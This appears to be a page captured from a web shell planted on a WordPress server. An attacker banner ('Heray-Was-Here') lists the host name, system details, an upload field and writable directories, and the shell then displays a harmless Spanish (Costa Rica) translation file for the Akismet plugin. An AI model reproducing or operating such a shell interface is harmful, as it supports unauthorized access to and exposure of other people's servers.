Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/languages/plugins/akismet-es_CR.po
# Translation of Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release) in Spanish (Costa Rica)
# This file is distributed under the same license as the Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-06-01 17:47:46+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.4\n"
"Language: es_CR\n"
"Project-Id-Version: Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release)\n"

#: views/get.php:11
msgid "(opens in a new tab)"
msgstr "(se abre en una nueva pestaña)"

#. translators: The placeholder is for showing how much of the process has
#. completed, as a percent. e.g., "Checking for Spam (40%)"
#: class.akismet-admin.php:418
msgid "Checking for Spam (%1$s%)"
msgstr "Buscando Spam (%1$s%)"

#: class.akismet-admin.php:705
msgid "No comment history."
msgstr "No hay historial de comentarios."

#: class.akismet-admin.php:656
msgid "Akismet was unable to recheck this comment."
msgstr "Akismet no pudo revisar este comentario."

#: class.akismet-admin.php:648
msgid "Akismet was unable to check this comment but will automatically retry later."
msgstr "Akismet no pudo verificar este comentario, pero lo volverá a intentar automáticamente más tarde."

#. translators: The placeholder is a WordPress PHP function name.
#: class.akismet-admin.php:617
msgid "Comment was caught by %s."
msgstr "El comentario fue capturado por %s."

#: class.akismet.php:675
msgid "Akismet is not configured. Please enter an API key."
msgstr "Akismet no está configurado. Introduzca una clave de API."

#: views/connect-jp.php:66
msgid "Set up a different account"
msgstr "Configurar otra cuenta"

#: views/setup.php:2
msgid "Set up your Akismet account to enable spam filtering on this site."
msgstr "Configure su cuenta de Akistmet para activar el filtro de spam en este sitio."

#: class.akismet-admin.php:1140
msgid "Akismet could not recheck your comments for spam."
msgstr "Akismet no pudo volver a revisar spam en sus comentarios."

#: views/enter.php:8
msgid "Enter your API key"
msgstr "Ingrese su clave API"

#: class.akismet-cli.php:165
msgid "Stats response could not be decoded."
msgstr "La respuesta de las estadísticas no se ha podido descifrar."

#: class.akismet-cli.php:159
msgid "Currently unable to fetch stats. Please try again."
msgstr "No se han podido recuperar las estadísticas. Vuelva a intentarlo."

#: class.akismet-cli.php:134
msgid "API key must be set to fetch stats."
msgstr "Debe establecerse una clave de la API para recuperar las estadísticas."

#: views/config.php:179
msgid "To help your site with transparency under privacy laws like the GDPR, Akismet can display a notice to your users under your comment forms. This feature is disabled by default, however, you can turn it on above."
msgstr "Para ayudar a su sitio con transparencia bajo las leyes de privacidad como el GDPR, Akismet puede mostrar un aviso a sus usuarios en sus formularios de comentarios. Esta función está deshabilitada de manera predeterminada, sin embargo, puede activarla arriba."

#: class.akismet-admin.php:88
msgid "We collect information about visitors who comment on Sites that use our Akismet anti-spam service. The information we collect depends on how the User sets up Akismet for the Site, but typically includes the commenter's IP address, user agent, referrer, and Site URL (along with other information directly provided by the commenter such as their name, username, email address, and the comment itself)."
msgstr "Recopilamos información sobre los visitantes que comentan en los Sitios que utilizan nuestro servicio antispam Akismet. La información que recopilamos depende de cómo el Usuario configure Akismet para el Sitio, pero generalmente incluye la dirección IP del comentarista, el agente de usuario, la referencia y la URL del sitio (junto con otra información directamente proporcionada por el comentarista, como su nombre, nombre de usuario, correo electrónico dirección y el comentario en sí)."

#: views/config.php:177
msgid "Do not display privacy notice."
msgstr "No mostrar aviso de privacidad."

#: views/config.php:176
msgid "Display a privacy notice under your comment forms."
msgstr "Mostrar un aviso de privacidad bajo su formulario de comentarios."

#: views/config.php:175
msgid "Akismet privacy notice"
msgstr "Aviso de privacidad de Akismet"

#: views/config.php:172
msgid "Privacy"
msgstr "Privacidad"

#: class.akismet.php:1780
msgid "This site uses Akismet to reduce spam. <a href=\"%s\" target=\"_blank\" rel=\"nofollow noopener\">Learn how your comment data is processed</a>."
msgstr "Este sitio utiliza Akismet para disminuir el spam. <a href=\"%s\" target=\"_blank\" rel=\"nofollow noopener\">Aprenda más de como sus comentarios son procesados</a>."

#: class.akismet-rest-api.php:174
msgid "This site's API key is hardcoded and cannot be deleted."
msgstr "La clave API de este sitio fue introducida manualmente y no se puede borrar."

#: class.akismet-rest-api.php:158
msgid "The value provided is not a valid and registered API key."
msgstr "El valor proporcionado no es una clave API válida y registrada."

#: class.akismet-rest-api.php:152
msgid "This site's API key is hardcoded and cannot be changed via the API."
msgstr "La clave API de este sitio está codificada y no se puede cambiar a través de la API."

#: class.akismet-rest-api.php:71 class.akismet-rest-api.php:80
msgid "The time period for which to retrieve stats. Options: 60-days, 6-months, all"
msgstr "El período de tiempo para recuperar estadísticas. Opciones: 60 días, 6 meses, todos"

#: class.akismet-rest-api.php:56
msgid "If true, show the number of approved comments beside each comment author in the comments list page."
msgstr "Si es verdadero, muestre el número de comentarios aprobados junto a cada autor de comentarios en la página de la lista de comentarios."

#: class.akismet-rest-api.php:51
msgid "If true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder."
msgstr "Si está en verdadero, Akismet desechará automáticamente el peor spam en vez de ponerlo en la carpeta de spam."

#: class.akismet-rest-api.php:27 class.akismet-rest-api.php:101
#: class.akismet-rest-api.php:114 class.akismet-rest-api.php:127
msgid "A 12-character Akismet API key. Available at akismet.com/get/"
msgstr "Una clave de API Akismet de 12 caracteres. Disponible en akismet.com/get/"

#: class.akismet.php:312
msgid "Comment discarded."
msgstr "Comentario descartado."

#: views/notice.php:60
msgid "Your site can&#8217;t connect to the Akismet servers."
msgstr "Tu sitio no puede conectarse a los servidores de Akismet."

#: class.akismet-admin.php:236
msgid "On this page, you are able to update your Akismet settings and view spam stats."
msgstr "En esta página podrá actualizar sus ajustes de Akismet y ver las estadísticas de spam."

#. translators: %s is the wp-config.php file
#: views/predefined.php:7
msgid "An Akismet API key has been defined in the %s file for this site."
msgstr "Se ha definido una clave de la API de Akismet para este sitio en el archivo %s."

#: views/predefined.php:2
msgid "Manual Configuration"
msgstr "Configuración manual"

#: views/enter.php:9
msgid "Connect with API key"
msgstr "Conectar con la clave de la API"

#: class.akismet-admin.php:114 class.akismet-admin.php:117
msgid "Akismet Anti-Spam"
msgstr "Akismet Anti-Spam"

#. translators: %s is the WordPress.com username
#: views/connect-jp.php:23 views/connect-jp.php:58
msgid "You are connected as %s."
msgstr "Estás conectado como %s."

#: views/connect-jp.php:10 views/connect-jp.php:18 views/connect-jp.php:31
#: views/connect-jp.php:53 views/connect-jp.php:65
msgid "Connect with Jetpack"
msgstr "Conectar con Jetpack"

#: views/connect-jp.php:12 views/connect-jp.php:25 views/connect-jp.php:48
msgid "Use your Jetpack connection to set up Akismet."
msgstr "Utiliza tu conexión Jetpack para activar Akismet."

#: views/title.php:2
msgid "Eliminate spam from your site"
msgstr "Elimina el spam de tu sitio."

#: views/notice.php:112
msgid "Would you like to <a href=\"%s\">check pending comments</a>?"
msgstr "¿Le gustaría <a href=\"%s\">comprobar los comentarios pendientes</a>?"

#: views/notice.php:110
msgid "Akismet is now protecting your site from spam. Happy blogging!"
msgstr "Akismet ahora está protegiendo tu sitio ante spam."

#: class.akismet-admin.php:1241
msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Your site is fully configured and being protected, even while you sleep."
msgstr "Usado por millones, Akismet es posiblemente la mejor manera del mundo para <strong> proteger su blog del spam </strong>. Su sitio está completamente configurado y protegido, incluso mientras duerme."

#: class.akismet-admin.php:1244
msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started, just go to <a href=\"admin.php?page=akismet-key-config\">your Akismet Settings page</a> to set up your API key."
msgstr "Utilizado por millones de personas, Akismet es posiblemente la mejor manera de <strong>proteger su blog del spam</strong>. Mientras duerme, mantiene el sitio protegido. Para comenzar, simplemente vaya a <a href=\"admin.php?page=akismet-key-config\">su página de ajustes de Akismet</a> y configure su clave de la API."

#: views/notice.php:14 views/setup.php:3
msgid "Set up your Akismet account"
msgstr "Configure su cuenta de Akismet"

#: views/config.php:34
msgid "Detailed Stats"
msgstr "Estadísticas detalladas"

#: views/config.php:28
msgid "Statistics"
msgstr "Estadísticas"

#: class.akismet-admin.php:1133
msgid "%s comment was caught as spam."
msgid_plural "%s comments were caught as spam."
msgstr[0] "%s comentario se ha detectado como spam."
msgstr[1] "%s comentarios se han detectado como spam."

#: class.akismet-admin.php:1130
msgid "No comments were caught as spam."
msgstr "Ningún comentario ha sido detectado como spam."

#: class.akismet-admin.php:1126
msgid "Akismet checked %s comment."
msgid_plural "Akismet checked %s comments."
msgstr[0] "Akismet ha comprobado %s comentario."
msgstr[1] "Akismet ha comprobado %s comentarios."

#: class.akismet.php:681
msgid "Comment not found."
msgstr "Comentario no encontrado."

#: class.akismet-cli.php:43
msgid "Failed to connect to Akismet."
msgstr "Fallo al conectar con Akismet."

#: class.akismet-cli.php:88
msgid "%d comment could not be checked."
msgid_plural "%d comments could not be checked."
msgstr[0] "%d comentario no ha podido ser comprobado."
msgstr[1] "%d comentarios no han podido ser comprobados."

#: class.akismet-cli.php:85
msgid "%d comment moved to Spam."
msgid_plural "%d comments moved to Spam."
msgstr[0] "%d comentario movido a spam."
msgstr[1] "%d comentarios movidos a spam."

#: class.akismet-cli.php:84
msgid "Processed %d comment."
msgid_plural "Processed %d comments."
msgstr[0] "Procesado %d comentario."
msgstr[1] "Procesado %d comentarios."

#: class.akismet-cli.php:46
msgid "Comment #%d could not be checked."
msgstr "El comentario #%d no ha podido ser comprobado."

#: class.akismet-cli.php:39
msgid "Comment #%d is not spam."
msgstr "El comentario #%d no es spam."

#: class.akismet-cli.php:36
msgid "Comment #%d is spam."
msgstr "El comentario #%d es spam."

#: views/config.php:57
msgid "%s false positive"
msgid_plural "%s false positives"
msgstr[0] "%s falso positivo"
msgstr[1] "%s falso positivos"

#: views/config.php:55
msgid "%s missed spam"
msgid_plural "%s missed spam"
msgstr[0] "%s spam perdido"
msgstr[1] "%s spam perdidos"

#: views/notice.php:70
msgid "Your Akismet plan has been cancelled."
msgstr "Su plan de Akismet ha sido cancelado."

#: views/notice.php:65
msgid "Please update your payment information."
msgstr "Por favor, actualice su información de pago."

#: views/notice.php:66
msgid "We cannot process your payment. Please <a href=\"%s\" target=\"_blank\">update your payment details</a>."
msgstr "No podemos procesar su pago. <a href=\"%s\" target=\"_blank\">actualice sus datos de pago</a>."

#: views/notice.php:75
msgid "Your Akismet subscription is suspended."
msgstr "Su suscripción a Akismet está suspendida."

#: views/notice.php:90
msgid "You don&#8217;t have an Akismet plan."
msgstr "No tiene un plan de Akismet."

#: class.akismet-admin.php:184 class.akismet-admin.php:222
#: class.akismet-admin.php:235
msgid "Akismet filters out spam, so you can focus on more important things."
msgstr "Akismet filtra el spam para que pueda centrarse en cosas más importantes."

#: class.akismet-admin.php:1047
msgid "Akismet has saved you %s day!"
msgid_plural "Akismet has saved you %s days!"
msgstr[0] "¡Akismet le ha ahorrado %s día!"
msgstr[1] "¡Akismet le ha ahorrado %s días!"

#: class.akismet-admin.php:1049
msgid "Akismet has saved you %d hour!"
msgid_plural "Akismet has saved you %d hours!"
msgstr[0] "¡Akismet le ha ahorrado %d hora!"
msgstr[1] "¡Akismet le ha ahorrado %d horas!"

#: class.akismet-admin.php:1051
msgid "Akismet has saved you %d minute!"
msgid_plural "Akismet has saved you %d minutes!"
msgstr[0] "¡Akismet le ha ahorrado %d minuto!"
msgstr[1] "¡Akismet le ha ahorrado %d minutos!"

#: views/notice.php:17
msgid "<strong>Almost done</strong> - configure Akismet and say goodbye to spam"
msgstr "<strong>Casi listo</strong> - configure Akismet y dígale adiós al spam"

#: views/notice.php:94
msgid "Please <a href=\"%s\" target=\"_blank\">contact our support team</a> with any questions."
msgstr "Por favor, <a href=\"%s\" target=\"_blank\">contacte nuestro equipo de soporte</a> con sus preguntas."

#: views/notice.php:92
msgid "In 2012, Akismet began using subscription plans for all accounts (even free ones). A plan has not been assigned to your account, and we&#8217;d appreciate it if you&#8217;d <a href=\"%s\" target=\"_blank\">sign into your account</a> and choose one."
msgstr "Desde 2012, Akismet empezó a utilizar planes de suscripción para todas sus cuentas (incluso las gratuitas). Parece que no ha asignado una suscripción a su cuenta y apreciaríamos que usted<a href=\"%s\" target=\"_blank\">acceda a su cuenta</a> y elija una suscripción."

#. translators: The placeholder is a URL.
#: views/notice.php:151
msgid "The connection to akismet.com could not be established. Please refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a> and check your server configuration."
msgstr "No se ha podido establecer la conexión con akismet.com. Por favor, revise <a href=\"%s\" target=\"_blank\">nuestra guía sobre cortafuegos</a> y compruebe la configuración de su servidor."

#: views/notice.php:144
msgid "The API key you entered could not be verified."
msgstr "La clave API que introdujo no pudo ser verificada."

#: class.akismet-admin.php:634
msgid "This comment was reported as not spam."
msgstr "Se ha informado sobre este comentario como no spam."

#: views/config.php:112
msgid "All systems functional."
msgstr "Todos los sistemas funcionando."

#: views/config.php:112
msgid "Enabled."
msgstr "Habilitado"

#: views/config.php:109
msgid "Akismet encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly."
msgstr "Akismet ha encontrado un problema con una petición SSL anterior y la ha desactivado temporalmente. Se volverán a hacer peticiones usando SSL muy pronto."

#: views/config.php:109
msgid "Temporarily disabled."
msgstr "Desactivado temporalmente."

#: views/config.php:103
msgid "Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests."
msgstr "El servidor de su web no puede hacer peticiones SSL; contacte a su proveedor de alojamiento web y solicite que le permitan realizar peticiones SSL."

#: views/config.php:103
msgid "Disabled."
msgstr "Deshabilitado."

#: views/config.php:96
msgid "SSL Status"
msgstr "Estado de SSL"

#: class.akismet-admin.php:626
msgid "This comment was reported as spam."
msgstr "Este comentario ha sido denunciado como spam."

#: class.akismet-admin.php:608
msgid "Akismet re-checked and cleared this comment."
msgstr "Akistmet ha vuelto a comprobar y ha aceptado este comentario."

#: class.akismet-admin.php:605
msgid "Akismet caught this comment as spam."
msgstr "Akismet ha considerado este comentario como spam."

#: class.akismet-admin.php:602
msgid "Akismet re-checked and caught this comment as spam."
msgstr "Akismet ha vuelto a comprobar este comentario y lo ha considerado como spam."

#: class.akismet-admin.php:611
msgid "Akismet cleared this comment."
msgstr "Akismet ha aceptado este comentario."

#. translators: The placeholder is a username.
#: class.akismet-admin.php:624
msgid "%s reported this comment as spam."
msgstr "%s informó que este debate es spam"

#. translators: The placeholder is a username.
#: class.akismet-admin.php:632
msgid "%s reported this comment as not spam."
msgstr "%s ha informado sobre este comentario como no spam."

#. translators: The placeholder is an error response returned by the API
#. server.
#: class.akismet-admin.php:646
msgid "Akismet was unable to check this comment (response: %s) but will automatically retry later."
msgstr "Akismet no ha podido volver a comprobar este comentario (respuesta: %s), pero lo volverá a intentar automáticamente más tarde."

#. translators: %1$s is a username; %2$s is a short string (like 'spam' or
#. 'approved') denoting the new comment status.
#: class.akismet-admin.php:671
msgid "%1$s changed the comment status to %2$s."
msgstr "%1$s ha cambiado el estado del comentario a %2$s."

#. translators: The placeholder is an error response returned by the API
#. server.
#: class.akismet-admin.php:654
msgid "Akismet was unable to recheck this comment (response: %s)."
msgstr "Akismet no ha podido volver a comprobar este comentario (respuesta:%s)."

#: views/config.php:158
msgid "Spam in the <a href=\"%1$s\">spam folder</a> older than 1 day is deleted automatically."
msgid_plural "Spam in the <a href=\"%1$s\">spam folder</a> older than %2$d days is deleted automatically."
msgstr[0] "El spam en la <a href=\"%1$s\">carpeta de spam</a> más antiguo de 1 día se borra automáticamente."
msgstr[1] "El spam en la <a href=\"%1$s\">carpeta de spam</a> más antiguo de %2$d días se borra automáticamente."

#. Plugin URI of the plugin
msgid "https://akismet.com/"
msgstr "https://akismet.com/"

#: views/notice.php:56
msgid "Your web host or server administrator has disabled PHP&#8217;s <code>gethostbynamel</code> function.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet&#8217;s system requirements</a>."
msgstr "Su alojamiento o el administrador del servidor ha desactivado la función <code>gethostbynamel</code> de PHP.  <strong>Akismet no puede funcionar correctamente hasta que esto se cambie.</strong> Por favor, póngase en contacto con su proveedor de alojamiento o administrador del cortafuegos y dígales <a href=\"%s\" target=\"_blank\">esta información sobre los requisitos del sistema de Akismet</a>."

#: views/notice.php:24
msgid "Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later."
msgstr "Algunos comentarios todavía no han sido comprobados por Akismet para ver si son spam. Han sido puestos en moderación temporalmente y serán comprobados automáticamente más tarde."

#. translators: The Akismet configuration page URL.
#: class.akismet-admin.php:936
msgid "Please check your <a href=\"%s\">Akismet configuration</a> and contact your web host if problems persist."
msgstr "Por favor, revise la <a href=\"%s\">Configuración de Akismet</a> y consúltelo con su proveedor de hosting si el problema se mantiene."

#. translators: %s is the WordPress.com email address
#: views/connect-jp.php:36
msgid "Your subscription for %s is cancelled."
msgstr "La suscripción de %s ha sido cancelada."

#: views/notice.php:85
msgid "There is a problem with your API key."
msgstr "Hay un problema con su clave API."

#: views/config.php:233
msgid "Active"
msgstr "Activo"

#: views/config.php:231
msgid "No Subscription Found"
msgstr "No hay ninguna suscripción"

#: views/config.php:229
msgid "Missing"
msgstr "Faltante"

#: views/config.php:227
msgid "Suspended"
msgstr "Suspendido"

#: views/config.php:225
msgid "Cancelled"
msgstr "Cancelado"

#: views/config.php:150
msgid "Always put spam in the Spam folder for review."
msgstr "Poner el spam siempre en la carpeta de spam para que lo revise."

#: views/config.php:149
msgid "Silently discard the worst and most pervasive spam so I never see it."
msgstr "Descartar en segundo plano el spam peor y más persistente, para que no lo vea nunca."

#: class.akismet-admin.php:248
msgid "Choose to either discard the worst spam automatically or to always put all spam in spam folder."
msgstr "Elija si quiere desechar automáticamente el peor spam o si quiere poner todo el spam en la carpeta de spam."

#: class.akismet-admin.php:247 views/config.php:122
msgid "Comments"
msgstr "Comentarios"

#. Author URI of the plugin
msgid "https://automattic.com/wordpress-plugins/"
msgstr "https://automattic.com/wordpress-plugins/"

#: views/config.php:148
msgid "Akismet anti-spam strictness"
msgstr "Rigurosidad del antispam Akismet"

#: class.akismet-admin.php:248 views/config.php:145
msgid "Strictness"
msgstr "Rigurosidad"

#: views/connect-jp.php:39
msgid "Contact Akismet support"
msgstr "Contacte con el soporte de Akismet"

#: views/connect-jp.php:45
msgid "No worries! Get in touch and we&#8217;ll sort this out."
msgstr "¡No se preocupe! Póngase en contacto con nosotros y vamos a solucionar esto."

#. translators: %s is the WordPress.com email address
#: views/connect-jp.php:44
msgid "Your subscription for %s is suspended."
msgstr "Su suscripción a %s está suspendida."

#: views/enter.php:2
msgid "Manually enter an API key"
msgstr "Ingresar una clave API manualmente"

#: views/notice.php:117
msgid "The key you entered is invalid. Please double-check it."
msgstr "Su clave ingresada no es válida. Por favor compruébela."

#: views/notice.php:81
msgid "You can help us fight spam and upgrade your account by <a href=\"%s\" target=\"_blank\">contributing a token amount</a>."
msgstr "Usted puede ayudarnos a combatir el spam y actualizar su cuenta <a href=\"%s\" target=\"_blank\">colaborando con una cantidad simbólica</a>."

#: views/notice.php:76 views/notice.php:86
msgid "Please contact <a href=\"%s\" target=\"_blank\">Akismet support</a> for assistance."
msgstr "Por favor, contacte con el <a href=\"%s\" target=\"_blank\">soporte de Akismet</a> para recibir asistencia."

#: views/notice.php:71
msgid "Please visit your <a href=\"%s\" target=\"_blank\">Akismet account page</a> to reactivate your subscription."
msgstr "Por favor visite la <a href=\"%s\" target=\"_blank\">página de su cuenta Akismet</a> para reactivar su suscripción."

#: views/notice.php:61
msgid "Your firewall may be blocking Akismet from connecting to its API. Please contact your host and refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a>."
msgstr "Su firewall puede estar bloqueando Akismet. Por favor, póngase en contacto con su hosting y refiérase a <a href=\"%s\" target=\"_blank\">nuestra guía sobre firewalls</a>."

#: views/notice.php:55
msgid "Network functions are disabled."
msgstr "Las funciones de red est&aacute;n deshabilitadas."

#. translators: the placeholder is a clickable URL that leads to more
#. information regarding an error code.
#: views/notice.php:41
msgid "For more information: %s"
msgstr "Para más información: %s"

#: views/notice.php:36
msgid "Akismet Error Code: %s"
msgstr "Código de error de Akismet: %s"

#: views/notice.php:23 views/notice.php:31
msgid "Akismet has detected a problem."
msgstr "Akismet ha detectado un problema."

#: views/config.php:250
msgid "Change"
msgstr "Cambiar"

#: views/config.php:250
msgid "Upgrade"
msgstr "Actualizar"

#: views/config.php:239
msgid "Next Billing Date"
msgstr "Siguiente fecha de pago"

#: views/config.php:193
msgid "Save Changes"
msgstr "Guadar cambios"

#: views/config.php:187
msgid "Disconnect this account"
msgstr "Desconectar esta cuenta"

#: views/config.php:152
msgid "Note:"
msgstr "Nota:"

#: views/config.php:126
msgid "Show approved comments"
msgstr "No hay comentarios aprobados"

#: views/config.php:53
msgid "Accuracy"
msgstr "Precisión"

#: views/config.php:48
msgid "All time"
msgstr "Siempre"

#: views/config.php:45 views/config.php:50
msgid "Spam blocked"
msgid_plural "Spam blocked"
msgstr[0] "Spam bloqueado"
msgstr[1] "Spam bloqueado"

#: views/config.php:43
msgid "Past six months"
msgstr "Seis meses anteriores"

#: class.akismet.php:1539
msgid "Please <a href=\"%1$s\">upgrade WordPress</a> to a current version, or <a href=\"%2$s\">downgrade to version 2.4 of the Akismet plugin</a>."
msgstr "Por favor, <a href=\"%1$s\">actualice WordPress</a> a una versión actualizada, o <a href=\"%2$s\">instale la versión 2.4 del plugin Akismet</a>."

#: class.akismet.php:1539
msgid "Akismet %s requires WordPress %s or higher."
msgstr "Akismet %s necesita de WordPress %s o superior."

#: class.akismet-admin.php:641
msgid "Akismet cleared this comment during an automatic retry."
msgstr "Akismet ha aceptado este comentario durante un reintento automático."

#: class.akismet-admin.php:638
msgid "Akismet caught this comment as spam during an automatic retry."
msgstr "Akismet ha realizado una revisión automática y considera que este comentario es spam."

#. translators: The placeholder is a short string (like 'spam' or 'approved')
#. denoting the new comment status.
#: class.akismet-admin.php:665
msgid "Comment status was changed to %s"
msgstr "El estado del comentario ha sido cambiado a %s"

#. translators: The placeholder is the number of pieces of spam blocked by
#. Akismet.
#: class.akismet-widget.php:108
msgid "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>"
msgid_plural "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>"
msgstr[0] "<strong class=\"count\">%1$s mensaje de spam</strong> bloqueado por <strong>Akismet</strong>"
msgstr[1] "<strong class=\"count\">%1$s mensajes de spam</strong> bloqueados por <strong>Akismet</strong>"

#: class.akismet-widget.php:74
msgid "Title:"
msgstr "Título:"

#: class.akismet-widget.php:69 class.akismet-widget.php:90
msgid "Spam Blocked"
msgstr "Spam bloqueado"

#: class.akismet-widget.php:13
msgid "Display the number of spam comments Akismet has caught"
msgstr "Muestra el número de comentarios de spam que Akismet ha capturado"

#: class.akismet-widget.php:12
msgid "Akismet Widget"
msgstr "Widget de Akismet"

#: class.akismet-admin.php:1044
msgid "Cleaning up spam takes time."
msgstr "Limpiar el spam lleva su tiempo."

#. translators: The placeholder is an amount of time, like "7 seconds" or "3
#. days" returned by the function human_time_diff().
#: class.akismet-admin.php:685
msgid "%s ago"
msgstr "hace %s"

#: class.akismet-admin.php:578
msgid "%s approved"
msgid_plural "%s approved"
msgstr[0] "%s aprobado"
msgstr[1] "%s aprobados"

#: class.akismet-admin.php:555
msgid "History"
msgstr "Historial"

#: class.akismet-admin.php:555 class.akismet-admin.php:563
msgid "View comment history"
msgstr "Ver el historial de comentarios"

#: class.akismet-admin.php:543
msgid "Un-spammed by %s"
msgstr "Desmarcado como spam por %s"

#: class.akismet-admin.php:541
msgid "Flagged as spam by %s"
msgstr "Marcado como spam por %s"

#: class.akismet-admin.php:537
msgid "Cleared by Akismet"
msgstr "Aceptado por Akismet"

#: class.akismet-admin.php:535
msgid "Flagged as spam by Akismet"
msgstr "Marcado como spam por Akismet"

#: class.akismet-admin.php:531
msgid "Awaiting spam check"
msgstr "Esperando la comprobación de spam"

#: class.akismet-admin.php:424
msgid "Check for Spam"
msgstr "Comprobar la lista de spam"

#: class.akismet-admin.php:377
msgid "There&#8217;s nothing in your <a href='%s'>spam queue</a> at the moment."
msgstr "En este momento nada hay en la <a href='%s'>lista de spam</a>."

#: class.akismet-admin.php:371
msgid "There&#8217;s <a href=\"%2$s\">%1$s comment</a> in your spam queue right now."
msgid_plural "There are <a href=\"%2$s\">%1$s comments</a> in your spam queue right now."
msgstr[0] "Ahora mismo hay <a href=\"%2$s\">%1$s comentario</a> en su lista de spam."
msgstr[1] "Ahora mismo hay <a href=\"%2$s\">%1$s comentarios</a> en su lista de spam."

#: class.akismet-admin.php:365
msgid "<a href=\"%s\">Akismet</a> blocks spam from getting to your blog. "
msgstr "<a href=\"%s\">Akismet</a> bloquea el spam que llegue a su sitio. "

#: class.akismet-admin.php:359
msgid "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comment already. "
msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comments already. "
msgstr[0] "<a href=\"%1$s\">Akismet</a> ha protegido su sitio de %2$s comentario de spam hasta ahora."
msgstr[1] "<a href=\"%1$s\">Akismet</a> ha protegido su sitio de %2$s comentarios de spam hasta ahora."

#: class.akismet-admin.php:349
msgid "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comment</a>."
msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comments</a>."
msgstr[0] "<a href=\"%1$s\">Akismet</a> ha protegido su sitio de <a href=\"%2$s\">%3$s comentario de spam</a>."
msgstr[1] "<a href=\"%1$s\">Akismet</a> ha protegido su sitio de <a href=\"%2$s\">%3$s comentarios de spam</a>."

#: class.akismet-admin.php:347
msgctxt "comments"
msgid "Spam"
msgstr "Spam"

#: class.akismet-admin.php:277
msgid "Cheatin&#8217; uh?"
msgstr "Haciendo trampa, ¿eh?"

#: class.akismet-admin.php:271
msgid "Akismet Support"
msgstr "Soporte de Akismet"

#: class.akismet-admin.php:270
msgid "Akismet FAQ"
msgstr "Preguntas frecuentes acerca de Akismet"

#: class.akismet-admin.php:269
msgid "For more information:"
msgstr "Para más información:"

#: class.akismet-admin.php:260
msgid "The subscription status - active, cancelled or suspended"
msgstr "Estado de la suscripción - activo, cancelado o suspendido"

#: class.akismet-admin.php:260 views/config.php:220
msgid "Status"
msgstr "Estado"

#: class.akismet-admin.php:259
msgid "The Akismet subscription plan"
msgstr "El plan de suscripción de Akismet"

#: class.akismet-admin.php:259 views/config.php:213
msgid "Subscription Type"
msgstr "Tipo de suscripción"

#: class.akismet-admin.php:256 views/config.php:205
msgid "Account"
msgstr "Cuenta"

#: class.akismet-admin.php:247
msgid "Show the number of approved comments beside each comment author in the comments list page."
msgstr "Muestra el número de comentarios aprobados al lado de cada autor del comentario en la página de la lista de comentarios."

#: views/config.php:139
msgid "Show the number of approved comments beside each comment author"
msgstr "Mostrar el número de comentarios aprobados al lado de cada autor del comentario."

#: class.akismet-admin.php:246
msgid "Enter/remove an API key."
msgstr "Introducir/eliminar la clave de la API."

#: class.akismet-admin.php:246 views/config.php:86
msgid "API Key"
msgstr "Clave API"

#: class.akismet-admin.php:107 class.akismet-admin.php:243
#: class.akismet-admin.php:712 views/config.php:75
msgid "Settings"
msgstr "Ajustes"

#: class.akismet-admin.php:234 class.akismet-admin.php:245
#: class.akismet-admin.php:258
msgid "Akismet Configuration"
msgstr "Configuración de Akismet"

#: class.akismet-admin.php:223
msgid "On this page, you are able to view stats on spam filtered on your site."
msgstr "En esta página, usted puede ver las estadísticas del spam filtrado en tu sitio."

#: class.akismet-admin.php:221
msgid "Akismet Stats"
msgstr "Estadísticas Akismet"

#: class.akismet-admin.php:209
msgid "Click the Use this Key button."
msgstr "Haga clic en el botón Usar esta clave."

#: class.akismet-admin.php:208
msgid "Copy and paste the API key into the text field."
msgstr "Copie y pegue la clave API en el campo de texto."

#: class.akismet-admin.php:206
msgid "If you already have an API key"
msgstr "Si usted ya tiene una clave API"

#: class.akismet-admin.php:203
msgid "Enter an API Key"
msgstr "Ingrese una clave API"

#: class.akismet-admin.php:196
msgid "Sign up for an account on %s to get an API Key."
msgstr "Cree una cuenta en %s para obtener una clave API."

#: class.akismet-admin.php:195
msgid "You need to enter an API key to activate the Akismet service on your site."
msgstr "Usted necesita ingresar una clave API para activar el servicio de Akismet en su sitio."

#: class.akismet-admin.php:192
msgid "New to Akismet"
msgstr "Nuevo en Akismet"

#: class.akismet-admin.php:185
msgid "On this page, you are able to set up the Akismet plugin."
msgstr "En esta página usted puede configurar el plugin Akismet."

#: class.akismet-admin.php:183 class.akismet-admin.php:194
#: class.akismet-admin.php:205
msgid "Akismet Setup"
msgstr "Configuración de Akismet"

#: class.akismet-admin.php:181 class.akismet-admin.php:219
#: class.akismet-admin.php:232
msgid "Overview"
msgstr "Descripción general"

#: class.akismet-admin.php:150
msgid "Re-adding..."
msgstr "Volviendo a añadir…"

#: class.akismet-admin.php:149
msgid "(undo)"
msgstr "(deshacer)"

#: class.akismet-admin.php:148
msgid "URL removed"
msgstr "URL eliminada"

